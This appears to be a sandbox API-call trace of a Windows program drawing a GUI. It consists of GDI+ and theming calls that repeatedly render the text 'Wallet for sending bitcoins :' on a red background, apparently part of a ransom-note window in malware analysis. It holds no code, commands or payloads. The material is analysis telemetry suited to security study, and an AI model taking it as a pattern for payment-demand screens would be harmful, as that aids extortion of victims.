[0286.576] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.576] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.576] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.577] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.577] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.577] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.577] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.577] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.577] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.577] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.577] LocalFree (hMem=0x1de51510) returned 0x0
[0286.577] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.577] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.577] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.577] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.577] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.578] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.578] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.578] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.578] SaveDC (hdc=0x2010b40) returned 1
[0286.578] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27eb948 | out: lppt=0x27eb948) returned 1
[0286.578] IsAppThemed () returned 0x1
[0286.578] GetThemeAppProperties () returned 0x3
[0286.578] GetThemeAppProperties () returned 0x3
[0286.578] DrawThemeBackground () returned 0x0
[0286.578] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.578] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.578] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.578] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.579] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.579] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.579] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbd8) returned 0x0
[0286.579] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.579] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.579] LocalFree (hMem=0x1de51510) returned 0x0
[0286.579] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.579] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.579] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.579] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.579] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.579] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.579] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.579] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.579] SaveDC (hdc=0x2010b40) returned 1
[0286.579] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27ebda0 | out: lppt=0x27ebda0) returned 1
[0286.579] IsAppThemed () returned 0x1
[0286.580] GetThemeAppProperties () returned 0x3
[0286.580] GetThemeAppProperties () returned 0x3
[0286.580] DrawThemeBackground () returned 0x0
[0286.580] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.580] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.580] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.580] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.580] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.580] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.580] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.580] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.580] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.580] LocalFree (hMem=0x1de51510) returned 0x0
[0286.580] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.580] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.580] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.580] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.581] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.581] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.581] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.581] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.581] SaveDC (hdc=0x2010b40) returned 1
[0286.581] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27ec1f8 | out: lppt=0x27ec1f8) returned 1
[0286.581] IsAppThemed () returned 0x1
[0286.581] GetThemeAppProperties () returned 0x3
[0286.581] GetThemeAppProperties () returned 0x3
[0286.581] DrawThemeBackground () returned 0x0
[0286.582] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.582] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.582] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.582] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=0) returned 0x3080b87
[0286.582] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.582] EndPaint (hWnd=0x20282, lpPaint=0x2ebfb8) returned 1
[0286.583] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0286.583] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.583] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0286.584] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0286.584] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0286.584] GetSystemMetrics (nIndex=42) returned 0
[0286.584] GetWindowTextW (in: hWnd=0x20282, lpString=0x2eb410, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0286.584] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2eb410) returned 0x1d
[0286.584] GetClientRect (in: hWnd=0x20282, lpRect=0x2eb5e8 | out: lpRect=0x2eb5e8) returned 1
[0286.584] GetCurrentObject (hdc=0x15010b4c, type=0x1) returned 0x1b00017
[0286.585] GetCurrentObject (hdc=0x15010b4c, type=0x2) returned 0x1900010
[0286.585] GetCurrentObject (hdc=0x15010b4c, type=0x7) returned 0x6050b85
[0286.585] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.585] SaveDC (hdc=0x15010b4c) returned 1
[0286.585] GetNearestColor (hdc=0x15010b4c, color=0x80) returned 0x80
[0286.585] CreateSolidBrush (color=0x80) returned 0x1c1007d3
[0286.585] FillRect (hDC=0x15010b4c, lprc=0x2eb2d8, hbr=0x1c1007d3) returned 1
[0286.585] DeleteObject (ho=0x1c1007d3) returned 1
[0286.585] RestoreDC (hdc=0x15010b4c, nSavedDC=-1) returned 1
[0286.585] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0286.585] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0286.585] GetSystemMetrics (nIndex=42) returned 0
[0286.585] GetWindowTextW (in: hWnd=0x20282, lpString=0x2eb410, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0286.585] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2eb410) returned 0x1d
[0286.585] IsAppThemed () returned 0x1
[0286.585] GetThemeAppProperties () returned 0x3
[0286.585] GetThemeAppProperties () returned 0x3
[0286.585] SelectPalette (hdc=0x15010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.586] GdipCreateFromHDC (hdc=0x15010b4c, graphics=0x2eb4c8) returned 0x0
[0286.586] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.586] GdipCreateMatrix (matrix=0x2eb3c0) returned 0x0
[0286.586] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.586] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb428) returned 0x0
[0286.586] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.586] GdipCreateRegion (region=0x2eb3c0) returned 0x0
[0286.586] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.586] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb420) returned 0x0
[0286.586] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.586] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2eb4c0) returned 0x0
[0286.586] IsAppThemed () returned 0x1
[0286.586] GetThemeAppProperties () returned 0x3
[0286.586] GetThemeAppProperties () returned 0x3
[0286.586] IsAppThemed () returned 0x1
[0286.586] GetThemeAppProperties () returned 0x3
[0286.586] GetThemeAppProperties () returned 0x3
[0286.586] IsThemePartDefined () returned 0x1
[0286.586] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eb2b8) returned 0x0
[0286.586] GdipCreateRegion (region=0x2eb130) returned 0x0
[0286.587] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.587] GdipCreateMatrix (matrix=0x2eb130) returned 0x0
[0286.587] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.587] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb198) returned 0x0
[0286.587] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.587] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.587] LocalFree (hMem=0x1de51510) returned 0x0
[0286.587] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.587] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb200) returned 0x0
[0286.587] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.587] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb208) returned 0x0
[0286.587] GetCurrentObject (hdc=0x15010b4c, type=0x1) returned 0x1b00017
[0286.587] GetCurrentObject (hdc=0x15010b4c, type=0x2) returned 0x1900010
[0286.587] GetCurrentObject (hdc=0x15010b4c, type=0x7) returned 0x6050b85
[0286.587] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.587] SaveDC (hdc=0x15010b4c) returned 1
[0286.588] OffsetViewportOrgEx (in: hdc=0x15010b4c, x=0, y=0, lppt=0x27ecfe8 | out: lppt=0x27ecfe8) returned 1
[0286.588] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.588] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb000 | out: pv=0x2eb000) returned 92
[0286.588] SelectObject (hdc=0x15010b4c, h=0x50a0b98) returned 0x18a002e
[0286.588] DrawTextExW (in: hdc=0x15010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2eb2b8, format=0x2410, lpdtp=0x27ed000 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2eb2b8) returned 14
[0286.588] RestoreDC (hdc=0x15010b4c, nSavedDC=-1) returned 1
[0286.588] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x15010b4c) returned 0x0
[0286.588] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eb288) returned 0x0
[0286.589] GdipCreateRegion (region=0x2eb100) returned 0x0
[0286.589] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.589] GdipCreateMatrix (matrix=0x2eb100) returned 0x0
[0286.589] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.589] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb168) returned 0x0
[0286.589] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.589] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.589] LocalFree (hMem=0x1de51510) returned 0x0
[0286.589] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.589] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1d0) returned 0x0
[0286.589] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.589] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1d8) returned 0x0
[0286.589] GetCurrentObject (hdc=0x15010b4c, type=0x1) returned 0x1b00017
[0286.589] GetCurrentObject (hdc=0x15010b4c, type=0x2) returned 0x1900010
[0286.589] GetCurrentObject (hdc=0x15010b4c, type=0x7) returned 0x6050b85
[0286.589] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.589] SaveDC (hdc=0x15010b4c) returned 1
[0286.589] OffsetViewportOrgEx (in: hdc=0x15010b4c, x=0, y=0, lppt=0x27ed400 | out: lppt=0x27ed400) returned 1
[0286.590] GetTextAlign (hdc=0x15010b4c) returned 0x0
[0286.590] GetTextColor (hdc=0x15010b4c) returned 0x0
[0286.590] SetTextColor (hdc=0x15010b4c, color=0xffff) returned 0x0
[0286.590] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.590] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eada0 | out: pv=0x2eada0) returned 92
[0286.590] SelectObject (hdc=0x15010b4c, h=0x50a0b98) returned 0x18a002e
[0286.590] GetBkMode (hdc=0x15010b4c) returned 2
[0286.590] SetBkMode (hdc=0x15010b4c, mode=1) returned 2
[0286.590] DrawTextExW (in: hdc=0x15010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2eb1f8, format=0x2010, lpdtp=0x27ed600 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2eb1f8) returned 14
[0286.590] RestoreDC (hdc=0x15010b4c, nSavedDC=-1) returned 1
[0286.591] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x15010b4c) returned 0x0
[0286.591] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.591] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eb2a8) returned 0x0
[0286.591] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7dad0, height=0x2eb2a4) returned 0x0
[0286.591] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.591] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.591] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.591] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eb2a8) returned 0x0
[0286.591] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7dad0, height=0x2eb2a4) returned 0x0
[0286.591] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.591] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.591] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.591] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.591] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.591] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.591] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb158) returned 0x0
[0286.591] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.591] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.592] LocalFree (hMem=0x1de51510) returned 0x0
[0286.592] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.592] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.592] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.592] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.592] GetCurrentObject (hdc=0x15010b4c, type=0x1) returned 0x1b00017
[0286.592] GetCurrentObject (hdc=0x15010b4c, type=0x2) returned 0x1900010
[0286.592] GetCurrentObject (hdc=0x15010b4c, type=0x7) returned 0x6050b85
[0286.592] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.592] SaveDC (hdc=0x15010b4c) returned 1
[0286.592] OffsetViewportOrgEx (in: hdc=0x15010b4c, x=0, y=0, lppt=0x27ed9e8 | out: lppt=0x27ed9e8) returned 1
[0286.592] IsAppThemed () returned 0x1
[0286.592] GetThemeAppProperties () returned 0x3
[0286.592] GetThemeAppProperties () returned 0x3
[0286.592] DrawThemeBackground () returned 0x0
[0286.592] RestoreDC (hdc=0x15010b4c, nSavedDC=-1) returned 1
[0286.592] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x15010b4c) returned 0x0
[0286.593] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.593] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.593] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.593] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.593] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb158) returned 0x0
[0286.593] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.593] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.594] LocalFree (hMem=0x1de51510) returned 0x0
[0286.594] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.594] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.594] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.594] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.594] GetCurrentObject (hdc=0x15010b4c, type=0x1) returned 0x1b00017
[0286.595] GetCurrentObject (hdc=0x15010b4c, type=0x2) returned 0x1900010
[0286.595] GetCurrentObject (hdc=0x15010b4c, type=0x7) returned 0x6050b85
[0286.595] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.595] SaveDC (hdc=0x15010b4c) returned 1
[0286.595] OffsetViewportOrgEx (in: hdc=0x15010b4c, x=0, y=0, lppt=0x27ede40 | out: lppt=0x27ede40) returned 1
[0286.595] IsAppThemed () returned 0x1
[0286.595] GetThemeAppProperties () returned 0x3
[0286.595] GetThemeAppProperties () returned 0x3
[0286.595] DrawThemeBackground () returned 0x0
[0286.595] RestoreDC (hdc=0x15010b4c, nSavedDC=-1) returned 1
[0286.596] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x15010b4c) returned 0x0
[0286.596] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.596] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.596] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.597] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.597] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb158) returned 0x0
[0286.597] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.597] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.597] LocalFree (hMem=0x1de51510) returned 0x0
[0286.598] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.598] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.598] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.598] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.598] GetCurrentObject (hdc=0x15010b4c, type=0x1) returned 0x1b00017
[0286.598] GetCurrentObject (hdc=0x15010b4c, type=0x2) returned 0x1900010
[0286.599] GetCurrentObject (hdc=0x15010b4c, type=0x7) returned 0x6050b85
[0286.599] GetCurrentObject (hdc=0x15010b4c, type=0x6) returned 0x18a002e
[0286.599] SaveDC (hdc=0x15010b4c) returned 1
[0286.599] OffsetViewportOrgEx (in: hdc=0x15010b4c, x=0, y=0, lppt=0x27ee298 | out: lppt=0x27ee298) returned 1
[0286.599] IsAppThemed () returned 0x1
[0286.599] GetThemeAppProperties () returned 0x3
[0286.599] GetThemeAppProperties () returned 0x3
[0286.599] DrawThemeBackground () returned 0x0
[0286.599] RestoreDC (hdc=0x15010b4c, nSavedDC=-1) returned 1
[0286.600] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x15010b4c) returned 0x0
[0286.600] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.600] SelectPalette (hdc=0x15010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.600] SetTextColor (hdc=0x15010b4c, color=0x0) returned 0x0
[0286.601] SetBkColor (hdc=0x15010b4c, color=0xffffff) returned 0xffffff
[0286.601] SendMessageW (hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2ebaf0) returned 0x0
[0286.601] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2ebaf0) returned 0x0
[0286.601] SendMessageW (hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2ebaf0) returned 0x0
[0286.601] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x204e, wParam=0x2029a, lParam=0x2ebaf0) returned 0x0
[0286.601] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4
[0286.602] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0xd, wParam=0x5, lParam=0x27eb5fe0) returned 0x4
[0286.603] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1
[0286.603] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0286.603] SetTextColor (hdc=0x1010a48, color=0xffffff) returned 0x0
[0286.603] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0286.604] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0286.604] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0286.604] GetSystemMetrics (nIndex=42) returned 0
[0286.604] GetWindowTextW (in: hWnd=0x20282, lpString=0x2eac50, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0286.604] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2eac50) returned 0x1d
[0286.605] GetClientRect (in: hWnd=0x20282, lpRect=0x2eae28 | out: lpRect=0x2eae28) returned 1
[0286.605] GetCurrentObject (hdc=0x16010b4c, type=0x1) returned 0x1b00017
[0286.605] GetCurrentObject (hdc=0x16010b4c, type=0x2) returned 0x1900010
[0286.605] GetCurrentObject (hdc=0x16010b4c, type=0x7) returned 0x6050b85
[0286.605] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.606] SaveDC (hdc=0x16010b4c) returned 1
[0286.606] GetNearestColor (hdc=0x16010b4c, color=0x80) returned 0x80
[0286.606] CreateSolidBrush (color=0x80) returned 0x1d1007d3
[0286.606] FillRect (hDC=0x16010b4c, lprc=0x2eab18, hbr=0x1d1007d3) returned 1
[0286.607] DeleteObject (ho=0x1d1007d3) returned 1
[0286.607] RestoreDC (hdc=0x16010b4c, nSavedDC=-1) returned 1
[0286.607] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0286.607] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0286.607] GetSystemMetrics (nIndex=42) returned 0
[0286.607] GetWindowTextW (in: hWnd=0x20282, lpString=0x2eac50, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0286.607] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2eac50) returned 0x1d
[0286.608] IsAppThemed () returned 0x1
[0286.608] GetThemeAppProperties () returned 0x3
[0286.608] GetThemeAppProperties () returned 0x3
[0286.608] SelectPalette (hdc=0x16010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.608] GdipCreateFromHDC (hdc=0x16010b4c, graphics=0x2ead08) returned 0x0
[0286.608] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.608] GdipCreateMatrix (matrix=0x2eac00) returned 0x0
[0286.609] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.609] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eac68) returned 0x0
[0286.609] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.609] GdipCreateRegion (region=0x2eac00) returned 0x0
[0286.609] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.610] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eac60) returned 0x0
[0286.610] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.610] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ead00) returned 0x0
[0286.610] IsAppThemed () returned 0x1
[0286.610] GetThemeAppProperties () returned 0x3
[0286.610] GetThemeAppProperties () returned 0x3
[0286.610] IsAppThemed () returned 0x1
[0286.610] GetThemeAppProperties () returned 0x3
[0286.610] GetThemeAppProperties () returned 0x3
[0286.611] IsThemePartDefined () returned 0x1
[0286.611] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaaf8) returned 0x0
[0286.611] GdipCreateRegion (region=0x2ea970) returned 0x0
[0286.611] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.611] GdipCreateMatrix (matrix=0x2ea970) returned 0x0
[0286.612] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.612] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea9d8) returned 0x0
[0286.612] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.612] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.612] LocalFree (hMem=0x1de51510) returned 0x0
[0286.612] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.612] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa40) returned 0x0
[0286.613] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.613] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa48) returned 0x0
[0286.613] GetCurrentObject (hdc=0x16010b4c, type=0x1) returned 0x1b00017
[0286.613] GetCurrentObject (hdc=0x16010b4c, type=0x2) returned 0x1900010
[0286.613] GetCurrentObject (hdc=0x16010b4c, type=0x7) returned 0x6050b85
[0286.613] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.614] SaveDC (hdc=0x16010b4c) returned 1
[0286.614] OffsetViewportOrgEx (in: hdc=0x16010b4c, x=0, y=0, lppt=0x27ef088 | out: lppt=0x27ef088) returned 1
[0286.614] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.614] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ea840 | out: pv=0x2ea840) returned 92
[0286.614] SelectObject (hdc=0x16010b4c, h=0x50a0b98) returned 0x18a002e
[0286.615] DrawTextExW (in: hdc=0x16010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2eaaf8, format=0x2410, lpdtp=0x27ef0a0 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2eaaf8) returned 14
